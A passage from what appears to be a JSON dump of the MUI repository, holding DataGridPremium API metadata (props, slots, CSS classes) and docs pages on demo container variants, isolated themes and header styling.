\"details\"]\n      }\n    },\n    \"onRowEditCommit\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(id: GridRowId, event: MuiEvent<MuiBaseEvent>) => void\",\n        \"describedArgs\": [\"id\", \"event\"]\n      }\n    },\n    \"onRowEditStart\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridRowParams, event: MuiEvent<React.KeyboardEvent | React.MouseEvent>) => void\",\n        \"describedArgs\": [\"params\", \"event\"]\n      }\n    },\n    \"onRowEditStop\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridRowParams, event: MuiEvent<MuiBaseEvent>) => void\",\n        \"describedArgs\": [\"params\", \"event\"]\n      }\n    },\n    \"onRowGroupingModelChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(model: GridRowGroupingModel, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"model\", \"details\"]\n      }\n    },\n    \"onRowModesModelChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(rowModesModel: GridRowModesModel, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"rowModesModel\", \"details\"]\n      }\n    },\n    \"onRowOrderChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridRowOrderChangeParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"params\", \"event\", \"details\"]\n      }\n    },\n    \"onRowSelectionModelChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(rowSelectionModel: GridRowSelectionModel, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"rowSelectionModel\", \"details\"]\n      }\n    },\n    \"onRowsScrollEnd\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(params: GridRowScrollEndParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"params\", \"event\", \"details\"]\n      }\n    },\n    \"onSortModelChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(model: GridSortModel, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"model\", \"details\"]\n      }\n    },\n    \"pageSizeOptions\": {\n      \"type\": {\n        \"name\": \"arrayOf\",\n        \"description\": \"Array&lt;number<br>&#124;&nbsp;{ label: string, value: number }&gt;\"\n      },\n      \"default\": \"[25, 50, 100]\"\n    },\n    \"pagination\": { \"type\": { \"name\": \"bool\" } },\n    \"paginationMode\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'client'<br>&#124;&nbsp;'server'\" },\n      \"default\": \"\\\"client\\\"\"\n    },\n    \"paginationModel\": {\n      \"type\": { \"name\": \"shape\", \"description\": \"{ page: number, pageSize: number }\" }\n    },\n    \"pinnedColumns\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ left?: Array&lt;string&gt;, right?: Array&lt;string&gt; }\"\n      }\n    },\n    \"pinnedRows\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ bottom?: Array&lt;object&gt;, top?: Array&lt;object&gt; }\"\n      }\n    },\n    \"processRowUpdate\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(newRow: R, oldRow: R) => Promise<R> | R\",\n        \"describedArgs\": [\"newRow\", \"oldRow\"],\n        \"returned\": \"Promise<R> | R\"\n      }\n    },\n    \"rowBuffer\": { \"type\": { \"name\": \"number\" }, \"default\": \"3\" },\n    \"rowCount\": { \"type\": { \"name\": \"number\" } },\n    \"rowGroupingColumnMode\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'multiple'<br>&#124;&nbsp;'single'\" },\n      \"default\": \"'single'\"\n    },\n    \"rowGroupingModel\": { \"type\": { \"name\": \"arrayOf\", \"description\": \"Array&lt;string&gt;\" } },\n    \"rowHeight\": { \"type\": { \"name\": \"number\" }, \"default\": \"52\" },\n    \"rowModesModel\": { \"type\": { \"name\": \"object\" } },\n    \"rowReordering\": { \"type\": { \"name\": \"bool\" } },\n    \"rowSelection\": { \"type\": { \"name\": \"bool\" }, \"default\": \"true\" },\n    \"rowSelectionModel\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;number<br>&#124;&nbsp;string&gt;<br>&#124;&nbsp;number<br>&#124;&nbsp;string\"\n      }\n    },\n    \"rowsLoadingMode\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'client'<br>&#124;&nbsp;'server'\" }\n    },\n    \"rowSpacingType\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'border'<br>&#124;&nbsp;'margin'\" },\n      \"default\": \"\\\"margin\\\"\"\n    },\n    \"rowThreshold\": { \"type\": { \"name\": \"number\" }, \"default\": \"3\" },\n    \"scrollbarSize\": { \"type\": { \"name\": \"number\" } },\n    \"scrollEndThreshold\": { \"type\": { \"name\": \"number\" }, \"default\": \"80\" },\n    \"showCellVerticalBorder\": { \"type\": { \"name\": \"bool\" } },\n    \"showColumnVerticalBorder\": { \"type\": { \"name\": \"bool\" } },\n    \"slotProps\": { \"type\": { \"name\": \"object\" } },\n    \"slots\": { \"type\": { \"name\": \"object\" } },\n    \"sortingMode\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'client'<br>&#124;&nbsp;'server'\" },\n      \"default\": \"\\\"client\\\"\"\n    },\n    \"sortingOrder\": {\n      \"type\": { \"name\": \"arrayOf\", \"description\": \"Array&lt;'asc'<br>&#124;&nbsp;'desc'&gt;\" },\n      \"default\": \"['asc', 'desc', null]\"\n    },\n    \"sortModel\": {\n      \"type\": {\n        \"name\": \"arrayOf\",\n        \"description\": \"Array&lt;{ field: string, sort?: 'asc'<br>&#124;&nbsp;'desc' }&gt;\"\n      }\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"throttleRowsMs\": { \"type\": { \"name\": \"number\" }, \"default\": \"0\" },\n    \"treeData\": { \"type\": { \"name\": \"bool\" } },\n    \"unstable_cellSelection\": { \"type\": { \"name\": \"bool\" } },\n    \"unstable_cellSelectionModel\": { \"type\": { \"name\": \"object\" } },\n    \"unstable_headerFilters\": { \"type\": { \"name\": \"bool\" } },\n    \"unstable_ignoreValueFormatterDuringExport\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"{ clipboardExport?: bool, csvExport?: bool }<br>&#124;&nbsp;bool\"\n      },\n      \"default\": \": false\"\n    },\n    \"unstable_onCellSelectionModelChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(cellSelectionModel: GridCellSelectionModel, details: GridCallbackDetails) => void\",\n        \"describedArgs\": [\"cellSelectionModel\", \"details\"]\n      }\n    },\n    \"unstable_splitClipboardPastedText\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": { \"type\": \"function(text: string) => void\", \"describedArgs\": [\"text\"] }\n    }\n  },\n  \"slots\": [\n    {\n      \"class\": null,\n      \"name\": \"baseButton\",\n      \"description\": \"The custom Button component used in the grid.\",\n      \"default\": \"Button\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"baseCheckbox\",\n      \"description\": \"The custom Checkbox component used in the grid for both header and cells.\",\n      \"default\": \"Checkbox\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"baseChip\",\n      \"description\": \"The custom Chip component used in the grid.\",\n      \"default\": \"Chip\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"baseFormControl\",\n      \"description\": \"The custom FormControl component used in the grid.\",\n      \"default\": \"FormControl\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"baseIconButton\",\n      \"description\": \"The custom IconButton component used in the grid.\",\n      \"default\": \"IconButton\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"baseInputAdornment\",\n      \"description\": \"The custom InputAdornment component used in the grid.\",\n      \"default\": \"InputAdornment\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"baseInputLabel\",\n      \"description\": \"The custom InputLabel component used in the grid.\",\n      \"default\": \"InputLabel\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"basePopper\",\n      \"description\": \"The custom Popper component used in the grid.\",\n      \"default\": \"Popper\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"baseSelect\",\n      \"description\": \"The custom Select component used in the grid.\",\n      \"default\": \"Select\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"baseSelectOption\",\n      \"description\": \"The custom SelectOption component used in the grid.\",\n      \"default\": \"MenuItem\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"baseSwitch\",\n      \"description\": \"The custom Switch component used in the grid.\",\n      \"default\": \"Switch\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"baseTextField\",\n      \"description\": \"The custom TextField component used in the grid.\",\n      \"default\": \"TextField\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"baseTooltip\",\n      \"description\": \"The custom Tooltip component used in the grid.\",\n      \"default\": \"Tooltip\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"booleanCellFalseIcon\",\n      \"description\": \"Icon displayed on the boolean cell to represent the false value.\",\n      \"default\": \"GridCloseIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"booleanCellTrueIcon\",\n      \"description\": \"Icon displayed on the boolean cell to represent the true value.\",\n      \"default\": \"GridCheckIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"cell\",\n      \"description\": \"Component rendered for each cell.\",\n      \"default\": \"GridCell\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"columnFilteredIcon\",\n      \"description\": \"Icon displayed on the column header menu to show that a filter has been applied to the column.\",\n      \"default\": \"GridFilterAltIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"columnHeaderFilterIconButton\",\n      \"description\": \"Filter icon component rendered in each column header.\",\n      \"default\": \"GridColumnHeaderFilterIconButton\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"columnHeaders\",\n      \"description\": \"Component responsible for rendering the column headers.\",\n      \"default\": \"DataGridColumnHeaders\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"columnMenu\",\n      \"description\": \"Column menu component rendered by clicking on the 3 dots &quot;kebab&quot; icon in column headers.\",\n      \"default\": \"GridColumnMenu\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"columnMenuAggregationIcon\",\n      \"description\": \"Icon displayed in column menu for aggregation\",\n      \"default\": \"GridFunctionsIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"columnMenuClearIcon\",\n      \"description\": \"Icon displayed in column menu for clearing values\",\n      \"default\": \"GridClearIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"columnMenuFilterIcon\",\n      \"description\": \"Icon displayed in column menu for filter\",\n      \"default\": \"GridFilterAltIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"columnMenuGroupIcon\",\n      \"description\": \"Icon displayed in column menu for grouping\",\n      \"default\": \"GridGroupWorkIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"columnMenuHideIcon\",\n      \"description\": \"Icon displayed in column menu for hiding column\",\n      \"default\": \"GridVisibilityOffIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"columnMenuIcon\",\n      \"description\": \"Icon displayed on the side of the column header title to display the filter input component.\",\n      \"default\": \"GridTripleDotsVerticalIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"columnMenuManageColumnsIcon\",\n      \"description\": \"Icon displayed in column menu for showing all columns\",\n      \"default\": \"GridViewColumnIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"columnMenuPinLeftIcon\",\n      \"description\": \"Icon displayed in column menu for left pinning\",\n      \"default\": \"GridPushPinLeftIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"columnMenuPinRightIcon\",\n      \"description\": \"Icon displayed in column menu for right pinning\",\n      \"default\": \"GridPushPinRightIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"columnMenuSortAscendingIcon\",\n      \"description\": \"Icon displayed in column menu for ascending sort\",\n      \"default\": \"GridArrowUpwardIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"columnMenuSortDescendingIcon\",\n      \"description\": \"Icon displayed in column menu for descending sort\",\n      \"default\": \"GridArrowDownwardIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"columnMenuUngroupIcon\",\n      \"description\": \"Icon displayed in column menu for ungrouping\",\n      \"default\": \"GridWorkspacesIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"columnReorderIcon\",\n      \"description\": \"Icon displayed on the column reorder button.\",\n      \"default\": \"GridDragIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"columnResizeIcon\",\n      \"description\": \"Icon displayed in between two column headers that allows to resize the column header.\",\n      \"default\": \"GridSeparatorIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"columnSelectorIcon\",\n      \"description\": \"Icon displayed on the column menu selector tab.\",\n      \"default\": \"GridColumnIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"columnSortedAscendingIcon\",\n      \"description\": \"Icon displayed on the side of the column header title when sorted in ascending order.\",\n      \"default\": \"GridArrowUpwardIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"columnSortedDescendingIcon\",\n      \"description\": \"Icon displayed on the side of the column header title when sorted in descending order.\",\n      \"default\": \"GridArrowDownwardIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"columnUnsortedIcon\",\n      \"description\": \"Icon displayed on the side of the column header title when unsorted.\",\n      \"default\": \"GridColumnUnsortedIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"columnsPanel\",\n      \"description\": \"GridColumns panel component rendered when clicking the columns button.\",\n      \"default\": \"GridColumnsPanel\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"densityComfortableIcon\",\n      \"description\": \"Icon displayed on the &quot;comfortable&quot; density option in the toolbar.\",\n      \"default\": \"GridViewStreamIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"densityCompactIcon\",\n      \"description\": \"Icon displayed on the compact density option in the toolbar.\",\n      \"default\": \"GridViewHeadlineIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"densityStandardIcon\",\n      \"description\": \"Icon displayed on the standard density option in the toolbar.\",\n      \"default\": \"GridTableRowsIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"detailPanelCollapseIcon\",\n      \"description\": \"Icon displayed on the detail panel toggle column when expanded.\",\n      \"default\": \"GridRemoveIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"detailPanelExpandIcon\",\n      \"description\": \"Icon displayed on the detail panel toggle column when collapsed.\",\n      \"default\": \"GridAddIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"exportIcon\",\n      \"description\": \"Icon displayed on the open export button present in the toolbar by default.\",\n      \"default\": \"GridSaveAltIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"filterPanel\",\n      \"description\": \"Filter panel component rendered when clicking the filter button.\",\n      \"default\": \"GridFilterPanel\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"filterPanelAddIcon\",\n      \"description\": \"Icon displayed for deleting the filter from filter panel.\",\n      \"default\": \"GridAddIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"filterPanelDeleteIcon\",\n      \"description\": \"Icon displayed for deleting the filter from filter panel.\",\n      \"default\": \"GridDeleteIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"filterPanelRemoveAllIcon\",\n      \"description\": \"Icon displayed for deleting all the active filters from filter panel.\",\n      \"default\": \"GridDeleteForeverIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"footer\",\n      \"description\": \"Footer component rendered at the bottom of the grid viewport.\",\n      \"default\": \"GridFooter\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"footerRowCount\",\n      \"description\": \"Row count component rendered in the footer\",\n      \"default\": \"GridRowCount\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"groupingCriteriaCollapseIcon\",\n      \"description\": \"Icon displayed on the grouping column when the children are expanded\",\n      \"default\": \"GridExpandMoreIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"groupingCriteriaExpandIcon\",\n      \"description\": \"Icon displayed on the grouping column when the children are collapsed\",\n      \"default\": \"GridKeyboardArrowRight\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"headerFilterCell\",\n      \"description\": \"Component responsible for showing menu adornment in Header filter row\",\n      \"default\": \"GridHeaderFilterCell\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"headerFilterMenu\",\n      \"description\": \"Component responsible for showing menu in Header filter row\",\n      \"default\": \"GridHeaderFilterMenu\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"loadIcon\",\n      \"description\": \"Icon displayed on the input while processing.\",\n      \"default\": \"GridLoadIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"loadingOverlay\",\n      \"description\": \"Loading overlay component rendered when the grid is in a loading state.\",\n      \"default\": \"GridLoadingOverlay\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"moreActionsIcon\",\n      \"description\": \"Icon displayed on the <code>actions</code> column type to open the menu.\",\n      \"default\": \"GridMoreVertIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"noResultsOverlay\",\n      \"description\": \"No results overlay component rendered when the grid has no results after filtering.\",\n      \"default\": \"GridNoResultsOverlay\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"noRowsOverlay\",\n      \"description\": \"No rows overlay component rendered when the grid has no rows.\",\n      \"default\": \"GridNoRowsOverlay\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"openFilterButtonIcon\",\n      \"description\": \"Icon displayed on the open filter button present in the toolbar by default.\",\n      \"default\": \"GridFilterListIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"pagination\",\n      \"description\": \"Pagination component rendered in the grid footer by default.\",\n      \"default\": \"Pagination\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"panel\",\n      \"description\": \"Panel component wrapping the filters and columns panels.\",\n      \"default\": \"GridPanel\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"preferencesPanel\",\n      \"description\": \"PreferencesPanel component rendered inside the Header component.\",\n      \"default\": \"GridPreferencesPanel\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"quickFilterClearIcon\",\n      \"description\": \"Icon displayed on the quick filter reset input.\",\n      \"default\": \"GridCloseIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"quickFilterIcon\",\n      \"description\": \"Icon displayed on the quick filter input.\",\n      \"default\": \"GridSearchIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"row\",\n      \"description\": \"Component rendered for each row.\",\n      \"default\": \"GridRow\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"rowReorderIcon\",\n      \"description\": \"Icon displayed on the <code>reorder</code> column type to reorder a row.\",\n      \"default\": \"GridDragIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"skeletonCell\",\n      \"description\": \"Component rendered for each skeleton cell.\",\n      \"default\": \"GridSkeletonCell\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"toolbar\",\n      \"description\": \"Toolbar component rendered inside the Header component.\",\n      \"default\": \"null\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"treeDataCollapseIcon\",\n      \"description\": \"Icon displayed on the tree data toggling column when the children are expanded\",\n      \"default\": \"GridExpandMoreIcon\"\n    },\n    {\n      \"class\": null,\n      \"name\": \"treeDataExpandIcon\",\n      \"description\": \"Icon displayed on the tree data toggling column when the children are collapsed\",\n      \"default\": \"GridKeyboardArrowRight\"\n    }\n  ],\n  \"name\": \"DataGridPremium\",\n  \"imports\": [\n    \"import { DataGridPremium } from '@mui/x-data-grid-premium/DataGridPremium';\",\n    \"import { DataGridPremium } from '@mui/x-data-grid-premium';\"\n  ],\n  \"styles\": {\n    \"classes\": [\n      \"actionsCell\",\n      \"aggregationColumnHeader\",\n      \"aggregationColumnHeader--alignLeft\",\n      \"aggregationColumnHeader--alignCenter\",\n      \"aggregationColumnHeader--alignRight\",\n      \"aggregationColumnHeaderLabel\",\n      \"autoHeight\",\n      \"booleanCell\",\n      \"cell--editable\",\n      \"cell--editing\",\n      \"cell--textCenter\",\n      \"cell--textLeft\",\n      \"cell--textRight\",\n      \"cell--withRenderer\",\n      \"cell--rangeTop\",\n      \"cell--rangeBottom\",\n      \"cell--rangeLeft\",\n      \"cell--rangeRight\",\n      \"cell\",\n      \"cellContent\",\n      \"cellCheckbox\",\n      \"cellSkeleton\",\n      \"checkboxInput\",\n      \"columnHeader--alignCenter\",\n      \"columnHeader--alignLeft\",\n      \"columnHeader--alignRight\",\n      \"columnHeader--dragging\",\n      \"columnHeader--moving\",\n      \"columnHeader--numeric\",\n      \"columnHeader--sortable\",\n      \"columnHeader--sorted\",\n      \"columnHeader--filtered\",\n      \"columnHeader\",\n      \"columnGroupHeader\",\n      \"columnHeaderCheckbox\",\n      \"columnHeaderDraggableContainer\",\n      \"rowReorderCellPlaceholder\",\n      \"columnHeaderDropZone\",\n      \"columnHeaderTitle\",\n      \"columnHeaderTitleContainer\",\n      \"columnHeaderTitleContainerContent\",\n      \"columnHeader--filledGroup\",\n      \"columnHeader--emptyGroup\",\n      \"columnHeader--showColumnBorder\",\n      \"columnHeaders\",\n      \"columnHeadersInner\",\n      \"columnHeadersInner--scrollable\",\n      \"columnSeparator--resizable\",\n      \"columnSeparator--resizing\",\n      \"columnSeparator--sideLeft\",\n      \"columnSeparator--sideRight\",\n      \"columnSeparator\",\n      \"columnsPanel\",\n      \"columnsPanelRow\",\n      \"detailPanel\",\n      \"detailPanels\",\n      \"detailPanelToggleCell\",\n      \"detailPanelToggleCell--expanded\",\n      \"footerCell\",\n      \"panel\",\n      \"panelHeader\",\n      \"panelWrapper\",\n      \"panelContent\",\n      \"panelFooter\",\n      \"paper\",\n      \"editBooleanCell\",\n      \"filterForm\",\n      \"filterFormDeleteIcon\",\n      \"filterFormLogicOperatorInput\",\n      \"filterFormColumnInput\",\n      \"filterFormOperatorInput\",\n      \"filterFormValueInput\",\n      \"editInputCell\",\n      \"filterIcon\",\n      \"footerContainer\",\n      \"iconButtonContainer\",\n      \"iconSeparator\",\n      \"headerFilterRow\",\n      \"main\",\n      \"menu\",\n      \"menuIcon\",\n      \"menuIconButton\",\n      \"menuOpen\",\n      \"menuList\",\n      \"overlayWrapper\",\n      \"overlayWrapperInner\",\n      \"overlay\",\n      \"virtualScroller\",\n      \"virtualScrollerContent\",\n      \"virtualScrollerContent--overflowed\",\n      \"virtualScrollerRenderZone\",\n      \"pinnedColumns\",\n      \"pinnedColumns--left\",\n      \"pinnedColumns--right\",\n      \"pinnedColumnHeaders\",\n      \"pinnedColumnHeaders--left\",\n      \"pinnedColumnHeaders--right\",\n      \"root\",\n      \"root--densityStandard\",\n      \"root--densityComfortable\",\n      \"root--densityCompact\",\n      \"root--disableUserSelection\",\n      \"row--editable\",\n      \"row--editing\",\n      \"row--dragging\",\n      \"row--lastVisible\",\n      \"row--dynamicHeight\",\n      \"row--detailPanelExpanded\",\n      \"row\",\n      \"rowCount\",\n      \"rowReorderCellContainer\",\n      \"rowReorderCell\",\n      \"rowReorderCell--draggable\",\n      \"scrollArea\",\n      \"scrollArea--left\",\n      \"scrollArea--right\",\n      \"selectedRowCount\",\n      \"sortIcon\",\n      \"toolbarContainer\",\n      \"toolbarFilterList\",\n      \"withBorderColor\",\n      \"cell--withRightBorder\",\n      \"columnHeader--withRightBorder\",\n      \"treeDataGroupingCell\",\n      \"treeDataGroupingCellToggle\",\n      \"groupingCriteriaCell\",\n      \"groupingCriteriaCellToggle\",\n      \"pinnedRows\",\n      \"pinnedRows--top\",\n      \"pinnedRows--bottom\",\n      \"pinnedRowsRenderZone\"\n    ],\n    \"globalClasses\": {},\n    \"name\": \"MuiDataGrid\"\n  },\n  \"forwardsRefTo\": \"GridRoot\",\n  \"filename\": \"/packages/grid/x-data-grid-premium/src/DataGridPremium/DataGridPremium.tsx\",\n  \"demos\": \"<ul><li><a href=\\\"/x/react-data-grid/#commercial-version\\\">DataGridPremium</a></li></ul>\"\n}\n"
  },
  {
    "path": "docs/pages/experiments/docs/demos.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from './demos.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/experiments/docs/demos.md",
    "content": "# Demos\n\n<p class=\"description\">The different variants of demo containers we have in the docs.</p>\n\n## Standard demo\n\n\"Standard\" refers to when no background is explicitly defined.\nSo, it renders the \"outlined\" background variant.\n\n{{\"demo\": \"DemoInDocs.js\"}}\n\n## \"bg\": \"outlined\"\n\n{{\"demo\": \"DemoInDocs.js\", \"bg\": \"outlined\"}}\n\n## \"bg\": \"inline\"\n\n{{\"demo\": \"DemoInDocs.js\", \"bg\": \"inline\"}}\n\n## \"bg\": true\n\n{{\"demo\": \"DemoInDocs.js\", \"bg\": true}}\n\n## \"bg\": gradient\n\n{{\"demo\": \"DemoInDocs.js\", \"bg\": \"gradient\"}}\n\n## \"hideToolbar\": true\n\n{{\"demo\": \"DemoInDocsNotEditable.js\", \"hideToolbar\": true}}\n\n## \"hideToolbar\": true, \"bg\": true\n\n{{\"demo\": \"DemoInDocsNotEditable.js\", \"hideToolbar\": true, \"bg\": true}}\n\n## \"hideToolbar\": true, \"bg\": \"inline\"\n\n{{\"demo\": \"DemoInDocsNotEditable.js\", \"hideToolbar\": true, \"bg\": \"inline\"}}\n\n## Multiple Tabs demo\n\n{{\"demo\": \"DemoMultiTabs.js\", \"bg\": \"inline\" }}\n\n## Isolated demo\n\nIsolated demos are disconnected from the page's theme and color scheme.\nThey are like mini apps within the documentation.\n\nWhen `isolated: true` is set to the demo options, the demo will get props for creating isolated demo.\nThose props should be passed to the `ThemeProvider` of the demo.\n\n### Basic theme\n\n```js title=\"DemoIsolated.js\"\nimport { ThemeProvider, createTheme, useColorScheme } from '@mui/material/styles';\n\nfunction ModeToggle() {\n  const { mode, setMode } = useColorScheme();\n}\n\nexport default function DemoIsolated(props) {\n  return (\n    <ThemeProvider\n      {...props}\n      theme={createTheme({\n        // ...custom theme\n      })}\n    >\n      ...\n    </ThemeProvider>\n  );\n}\n```\n\n### Mode toggle with CSS variables\n\n{{\"demo\": \"DemoModeToggle.js\", \"isolated\": true, \"bg\": \"inline\" }}\n\n```js title=\"DemoModeToggle.js\"\nimport { ThemeProvider, createTheme, useColorScheme } from '@mui/material/styles';\n\nfunction ModeToggle() {\n  const { mode, setMode } = useColorScheme();\n}\n\nexport default function DemoModeToggle(props) {\n  return (\n    <ThemeProvider\n      {...props}\n      theme={createTheme({\n        colorSchemes: { light: true, dark: true },\n        cssVariables: {\n          // required to make the demo isolated\n          cssVarPrefix: props.cssVarPrefix,\n          colorSchemeSelector: props.colorSchemeSelector || 'class',\n        },\n      })}\n    >\n      ...\n    </ThemeProvider>\n  );\n}\n```\n\n:::info\nThe demo with `isolated` will always set to `system` mode when refresh the page. It will not store the selected mode to the local storage.\n:::\n\n### Custom theme with CSS variables\n\nProvide custom palettes to light and/or dark color schemes.\n\n{{\"demo\": \"DemoModeToggleCustomTheme.js\", \"isolated\": true, \"bg\": \"inline\", \"theme\": \"dark\" }}\n\n```js title=\"DemoModeToggleCustomTheme.js\"\nimport { ThemeProvider, createTheme, useColorScheme } from '@mui/material/styles';\n\nexport default function DemoModeToggleCustomTheme(props) {\n  const theme = createTheme({\n    cssVariables: {\n      cssVarPrefix: props.cssVarPrefix,\n      colorSchemeSelector: props.colorSchemeSelector || 'class',\n    },\n    colorSchemes: {\n      light: {\n        palette: {\n          // ...custom palette\n        },\n      },\n      dark: {\n        palette: {\n          // ...custom palette\n        },\n      },\n    },\n  });\n  return (\n    <ThemeProvider {...props} theme={theme}>\n      ...\n    </ThemeProvider>\n  );\n}\n```\n\n### Iframe demo\n\n`isolated: true` can be used with iframe demos. The difference is that the node to attach the color scheme selector will be the `html` of the iframe instead of the demo container.\n\n{{\"demo\": \"DemoModeToggleIframe.js\", \"bg\": \"inline\", \"defaultCodeOpen\": false, \"iframe\": true, \"isolated\": true }}\n"
  },
  {
    "path": "docs/pages/experiments/docs/headers.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from './headers.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/experiments/docs/headers.md",
    "content": "# Headers\n\n<p class=\"description\">Headers.</p>\n\n## What is Lorem Ipsum?\n\nLorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book.\n\n### Where does it come from?\n\nContrary to popular belief, Lorem Ipsum is not simply random text. It has roots in a piece of classical Latin literature from 45 BC, making it over 2000 years old.\n\n#### Why do we use it?\n\nIt is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using 'Content here, content here', making it look like readable English.\n\n## [Header with link](/)\n\n## Header with Pro plan [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\n## Header with Premium plan [<span class=\"plan-premium\"></span>](/x/introduction/licensing/#premium-plan 'premium plan')\n"
  },
  {
